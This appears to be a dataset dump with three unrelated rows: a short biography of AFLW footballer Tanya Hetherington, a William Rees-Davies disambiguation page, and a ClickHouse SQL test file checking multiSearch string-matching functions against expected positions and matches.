text
stringlengths 1
22.8M
|
|---|
Tanya Hetherington (born 14 April 1985) is a retired Australian rules footballer who played for the Greater Western Sydney Giants in the AFL Women's competition.
Hetherington played state league football with Diamond Creek in the Victorian Women's Football League and later in the VFL Women's competition. In 2015 she suffered a major knee injury and went un-selected in the 2016 AFL Women's draft somewhat as a result. Hetherington was drafted by Greater Western Sydney with their third pick and the seventeenth selection overall in the 2017 AFL Women's draft. She made her debut in the six point loss to at Casey Fields in the opening round of the 2018 season. Hetherington announced her retirement in October 2022.
References
External links
1985 births
Living people
Greater Western Sydney Giants (AFLW) players
Australian rules footballers from Victoria (state)
Victorian Women's Football League players
|
William Rees-Davies may refer to:
William Rees-Davies (judge) (1863–1939), British politician, lawyer and colonial judge
William Rees-Davies (Conservative politician) (1916–1992), British Conservative politician and MP
See also
William Rees (disambiguation)
William Davies (disambiguation)
Rees Davies, Welsh historian
|
```sqlpl
SET send_logs_level = 'fatal';
select 0 = multiSearchAny('\0', CAST([], 'Array(String)'));
select 0 = multiSearchAnyCaseInsensitive('\0', CAST([], 'Array(String)'));
select 0 = multiSearchAnyCaseInsensitiveUTF8('\0', CAST([], 'Array(String)'));
select 0 = multiSearchAnyUTF8('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstIndex('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstIndexCaseInsensitive('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstIndexCaseInsensitiveUTF8('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstIndexUTF8('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstPosition('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstPositionCaseInsensitive('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstPositionCaseInsensitiveUTF8('\0', CAST([], 'Array(String)'));
select 0 = multiSearchFirstPositionUTF8('\0', CAST([], 'Array(String)'));
select [] = multiSearchAllPositions('\0', CAST([], 'Array(String)'));
select [] = multiSearchAllPositionsCaseInsensitive('\0', CAST([], 'Array(String)'));
select [] = multiSearchAllPositionsCaseInsensitiveUTF8('\0', CAST([], 'Array(String)'));
select [] = multiSearchAllPositionsUTF8('\0', CAST([], 'Array(String)'));
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['b']);
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bc']);
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcd']);
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcde']);
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdef']);
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdefg']);
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdefgh']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdefgh']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdefg']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdef']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcde']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcd']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abc']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['ab']);
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['a']);
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['c']);
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cd']);
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cde']);
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdef']);
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdefg']);
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdefgh']);
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['defgh']);
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['defg']);
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['def']);
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['de']);
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['d']);
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['e']);
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['ef']);
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['efg']);
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['efgh']);
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['fgh']);
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['fg']);
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['f']);
select [7] = multiSearchAllPositions(materialize('abcdefgh'), ['g']);
select [7] = multiSearchAllPositions(materialize('abcdefgh'), ['gh']);
select [8] = multiSearchAllPositions(materialize('abcdefgh'), ['h']);
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['b']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bc']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcd']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcde']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdef']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdefg']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdefgh']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdefgh']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdefg']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdef']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcde']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcd']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abc']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['ab']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['a']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['c']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cd']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cde']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdef']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdefg']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdefgh']) from system.numbers limit 10;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['defgh']) from system.numbers limit 10;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['defg']) from system.numbers limit 10;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['def']) from system.numbers limit 10;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['de']) from system.numbers limit 10;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['d']) from system.numbers limit 10;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['e']) from system.numbers limit 10;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['ef']) from system.numbers limit 10;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['efg']) from system.numbers limit 10;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['efgh']) from system.numbers limit 10;
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['fgh']) from system.numbers limit 10;
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['fg']) from system.numbers limit 10;
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['f']) from system.numbers limit 10;
select [7] = multiSearchAllPositions(materialize('abcdefgh'), ['g']) from system.numbers limit 10;
select [7] = multiSearchAllPositions(materialize('abcdefgh'), ['gh']) from system.numbers limit 10;
select [8] = multiSearchAllPositions(materialize('abcdefgh'), ['h']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['b']) from system.numbers limit 129;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bc']) from system.numbers limit 129;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcd']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcde']) from system.numbers limit 129;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdef']) from system.numbers limit 129;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdefg']) from system.numbers limit 129;
select [2] = multiSearchAllPositions(materialize('abcdefgh'), ['bcdefgh']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdefgh']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdefg']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcdef']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcde']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abcd']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['abc']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['ab']) from system.numbers limit 129;
select [1] = multiSearchAllPositions(materialize('abcdefgh'), ['a']) from system.numbers limit 129;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['c']) from system.numbers limit 129;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cd']) from system.numbers limit 129;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cde']) from system.numbers limit 129;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdef']) from system.numbers limit 129;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdefg']) from system.numbers limit 129;
select [3] = multiSearchAllPositions(materialize('abcdefgh'), ['cdefgh']) from system.numbers limit 129;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['defgh']) from system.numbers limit 129;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['defg']) from system.numbers limit 129;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['def']) from system.numbers limit 129;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['de']) from system.numbers limit 129;
select [4] = multiSearchAllPositions(materialize('abcdefgh'), ['d']) from system.numbers limit 129;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['e']) from system.numbers limit 129;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['ef']) from system.numbers limit 129;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['efg']) from system.numbers limit 129;
select [5] = multiSearchAllPositions(materialize('abcdefgh'), ['efgh']) from system.numbers limit 129;
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['fgh']) from system.numbers limit 129;
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['fg']) from system.numbers limit 129;
select [6] = multiSearchAllPositions(materialize('abcdefgh'), ['f']) from system.numbers limit 129;
select [7] = multiSearchAllPositions(materialize('abcdefgh'), ['g']) from system.numbers limit 129;
select [7] = multiSearchAllPositions(materialize('abcdefgh'), ['gh']) from system.numbers limit 129;
select [8] = multiSearchAllPositions(materialize('abcdefgh'), ['h']) from system.numbers limit 129;
select [2] = multiSearchAllPositions(materialize('abc'), ['b']);
select [2] = multiSearchAllPositions(materialize('abc'), ['bc']);
select [0] = multiSearchAllPositions(materialize('abc'), ['bcde']);
select [0] = multiSearchAllPositions(materialize('abc'), ['bcdef']);
select [0] = multiSearchAllPositions(materialize('abc'), ['bcdefg']);
select [0] = multiSearchAllPositions(materialize('abc'), ['bcdefgh']);
select [0] = multiSearchAllPositions(materialize('abc'), ['abcdefg']);
select [0] = multiSearchAllPositions(materialize('abc'), ['abcdef']);
select [0] = multiSearchAllPositions(materialize('abc'), ['abcde']);
select [0] = multiSearchAllPositions(materialize('abc'), ['abcd']);
select [1] = multiSearchAllPositions(materialize('abc'), ['abc']);
select [1] = multiSearchAllPositions(materialize('abc'), ['ab']);
select [1] = multiSearchAllPositions(materialize('abc'), ['a']);
select [3] = multiSearchAllPositions(materialize('abcd'), ['c']);
select [3] = multiSearchAllPositions(materialize('abcd'), ['cd']);
select [0] = multiSearchAllPositions(materialize('abcd'), ['cde']);
select [0] = multiSearchAllPositions(materialize('abcd'), ['cdef']);
select [0] = multiSearchAllPositions(materialize('abcd'), ['cdefg']);
select [0] = multiSearchAllPositions(materialize('abcd'), ['cdefgh']);
select [0] = multiSearchAllPositions(materialize('abc'), ['defgh']);
select [0] = multiSearchAllPositions(materialize('abc'), ['defg']);
select [0] = multiSearchAllPositions(materialize('abc'), ['def']);
select [0] = multiSearchAllPositions(materialize('abc'), ['de']);
select [0] = multiSearchAllPositions(materialize('abc'), ['d']);
select [2] = multiSearchAllPositions(materialize('abc'), ['b']) from system.numbers limit 10;
select [2] = multiSearchAllPositions(materialize('abc'), ['bc']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['bcde']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['bcdef']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['bcdefg']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['bcdefgh']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['abcdefg']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['abcdef']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['abcde']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['abcd']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abc'), ['abc']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abc'), ['ab']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abc'), ['a']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcd'), ['c']) from system.numbers limit 10;
select [3] = multiSearchAllPositions(materialize('abcd'), ['cd']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abcd'), ['cde']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abcd'), ['cdef']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abcd'), ['cdefg']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abcd'), ['cdefgh']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['defgh']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['defg']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['def']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['de']) from system.numbers limit 10;
select [0] = multiSearchAllPositions(materialize('abc'), ['d']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abc'), ['']);
select [1] = multiSearchAllPositions(materialize('abc'), ['']) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abc'), ['']) from system.numbers limit 100;
select [1] = multiSearchAllPositions(materialize('abc'), ['']) from system.numbers limit 1000;
select [1] = multiSearchAllPositions(materialize('abab'), ['ab']);
select [1] = multiSearchAllPositions(materialize('abababababababababababab'), ['abab']);
select [1] = multiSearchAllPositions(materialize('abababababababababababab'), ['abababababababababa']);
select [1] = multiSearchAllPositions(materialize('abc'), materialize(['']));
select [1] = multiSearchAllPositions(materialize('abc'), materialize([''])) from system.numbers limit 10;
select [1] = multiSearchAllPositions(materialize('abab'), materialize(['ab']));
select [2] = multiSearchAllPositions(materialize('abab'), materialize(['ba']));
select [1] = multiSearchAllPositionsCaseInsensitive(materialize('aBaB'), materialize(['abab']));
select [3] = multiSearchAllPositionsUTF8(materialize('abab'), materialize(['']));
select [3] = multiSearchAllPositionsCaseInsensitiveUTF8(materialize('abAB'), materialize(['ab']));
-- checks the correct handling of broken utf-8 sequence
select [0] = multiSearchAllPositionsCaseInsensitiveUTF8(materialize(''), materialize(['a\x90\x90\x90\x90\x90\x90']));
select 1 = multiSearchAny(materialize('abcdefgh'), ['b']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['bc']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcd']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcde']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdef']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdefg']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdefgh']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdefgh']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdefg']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdef']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcde']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcd']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['abc']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['ab']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['a']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['c']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['cd']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['cde']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdef']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdefg']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdefgh']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['defgh']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['defg']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['def']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['de']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['d']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['e']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['ef']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['efg']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['efgh']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['fgh']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['fg']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['f']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['g']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['gh']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['h']);
select 1 = multiSearchAny(materialize('abcdefgh'), ['b']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bc']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcd']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcde']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdef']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdefg']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdefgh']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdefgh']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdefg']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdef']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcde']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcd']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abc']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['ab']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['a']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['c']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cd']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cde']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdef']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdefg']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdefgh']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['defgh']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['defg']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['def']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['de']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['d']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['e']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['ef']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['efg']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['efgh']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['fgh']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['fg']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['f']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['g']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['gh']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['h']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['b']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bc']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcd']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcde']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdef']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdefg']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['bcdefgh']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdefgh']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdefg']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcdef']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcde']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abcd']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['abc']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['ab']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['a']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['c']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cd']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cde']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdef']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdefg']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['cdefgh']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['defgh']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['defg']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['def']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['de']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['d']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['e']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['ef']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['efg']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['efgh']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['fgh']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['fg']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['f']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['g']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['gh']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abcdefgh'), ['h']) from system.numbers limit 129;
select 1 = multiSearchAny(materialize('abc'), ['b']);
select 1 = multiSearchAny(materialize('abc'), ['bc']);
select 0 = multiSearchAny(materialize('abc'), ['bcde']);
select 0 = multiSearchAny(materialize('abc'), ['bcdef']);
select 0 = multiSearchAny(materialize('abc'), ['bcdefg']);
select 0 = multiSearchAny(materialize('abc'), ['bcdefgh']);
select 0 = multiSearchAny(materialize('abc'), ['abcdefg']);
select 0 = multiSearchAny(materialize('abc'), ['abcdef']);
select 0 = multiSearchAny(materialize('abc'), ['abcde']);
select 0 = multiSearchAny(materialize('abc'), ['abcd']);
select 1 = multiSearchAny(materialize('abc'), ['abc']);
select 1 = multiSearchAny(materialize('abc'), ['ab']);
select 1 = multiSearchAny(materialize('abc'), ['a']);
select 1 = multiSearchAny(materialize('abcd'), ['c']);
select 1 = multiSearchAny(materialize('abcd'), ['cd']);
select 0 = multiSearchAny(materialize('abcd'), ['cde']);
select 0 = multiSearchAny(materialize('abcd'), ['cdef']);
select 0 = multiSearchAny(materialize('abcd'), ['cdefg']);
select 0 = multiSearchAny(materialize('abcd'), ['cdefgh']);
select 0 = multiSearchAny(materialize('abc'), ['defgh']);
select 0 = multiSearchAny(materialize('abc'), ['defg']);
select 0 = multiSearchAny(materialize('abc'), ['def']);
select 0 = multiSearchAny(materialize('abc'), ['de']);
select 0 = multiSearchAny(materialize('abc'), ['d']);
select 1 = multiSearchAny(materialize('abc'), ['b']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abc'), ['bc']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['bcde']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['bcdef']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['bcdefg']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['bcdefgh']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['abcdefg']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['abcdef']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['abcde']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['abcd']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abc'), ['abc']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abc'), ['ab']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abc'), ['a']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcd'), ['c']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abcd'), ['cd']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abcd'), ['cde']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abcd'), ['cdef']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abcd'), ['cdefg']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abcd'), ['cdefgh']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['defgh']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['defg']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['def']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['de']) from system.numbers limit 10;
select 0 = multiSearchAny(materialize('abc'), ['d']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abc'), ['']);
select 1 = multiSearchAny(materialize('abc'), ['']) from system.numbers limit 10;
select 1 = multiSearchAny(materialize('abc'), ['']) from system.numbers limit 100;
select 1 = multiSearchAny(materialize('abc'), ['']) from system.numbers limit 1000;
select 1 = multiSearchAny(materialize('abab'), ['ab']);
select 1 = multiSearchAny(materialize('abababababababababababab'), ['abab']);
select 1 = multiSearchAny(materialize('abababababababababababab'), ['abababababababababa']);
select 0 = multiSearchFirstPosition(materialize('abcdefgh'), ['z', 'pq']) from system.numbers limit 10;
select 1 = multiSearchFirstPosition(materialize('abcdefgh'), ['a', 'b', 'c', 'd']) from system.numbers limit 10;
select 1 = multiSearchFirstPosition(materialize('abcdefgh'), ['defgh', 'bcd', 'abcd', 'c']) from system.numbers limit 10;
select 1 = multiSearchFirstPosition(materialize('abcdefgh'), ['', 'bcd', 'bcd', 'c']) from system.numbers limit 10;
select 2 = multiSearchFirstPosition(materialize('abcdefgh'), ['something', 'bcd', 'bcd', 'c']) from system.numbers limit 10;
select 6 = multiSearchFirstPosition(materialize('abcdefgh'), ['something', 'bcdz', 'fgh', 'f']) from system.numbers limit 10;
select 0 = multiSearchFirstPositionCaseInsensitive(materialize('abcdefgh'), ['z', 'pq']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionCaseInsensitive(materialize('aBcdefgh'), ['A', 'b', 'c', 'd']) from system.numbers limit 10;
select 1 = multiSearchFirstPositionCaseInsensitive(materialize('abCDefgh'), ['defgh', 'bcd', 'aBCd', 'c']) from system.numbers limit 10;
